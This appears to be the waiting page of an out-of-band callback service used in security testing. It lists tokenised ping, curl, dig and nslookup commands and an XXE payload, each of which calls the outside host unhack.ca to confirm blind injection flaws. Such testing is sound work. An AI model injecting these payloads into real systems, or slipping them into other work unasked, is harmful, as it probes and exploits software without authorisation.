$ ping -c1 -p 00e0b2c43e6cdda546fe0d1d97712700 unhack.ca
 
$ curl http://unhack.ca/p/e0b2c43e6cdda546fe0d1d977127
 
$ dig e0b2c43e6cdda546fe0d1d977127 @unhack.ca
 
$ dig e0b2c43e6cdda546fe0d1d977127.ns.unhack.ca
 
C:\> nslookup e0b2c43e6cdda546fe0d1d977127 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/e0b2c43e6cdda546fe0d1d977127">]>
    <foo>&xxe;</foo>
Waiting for ping...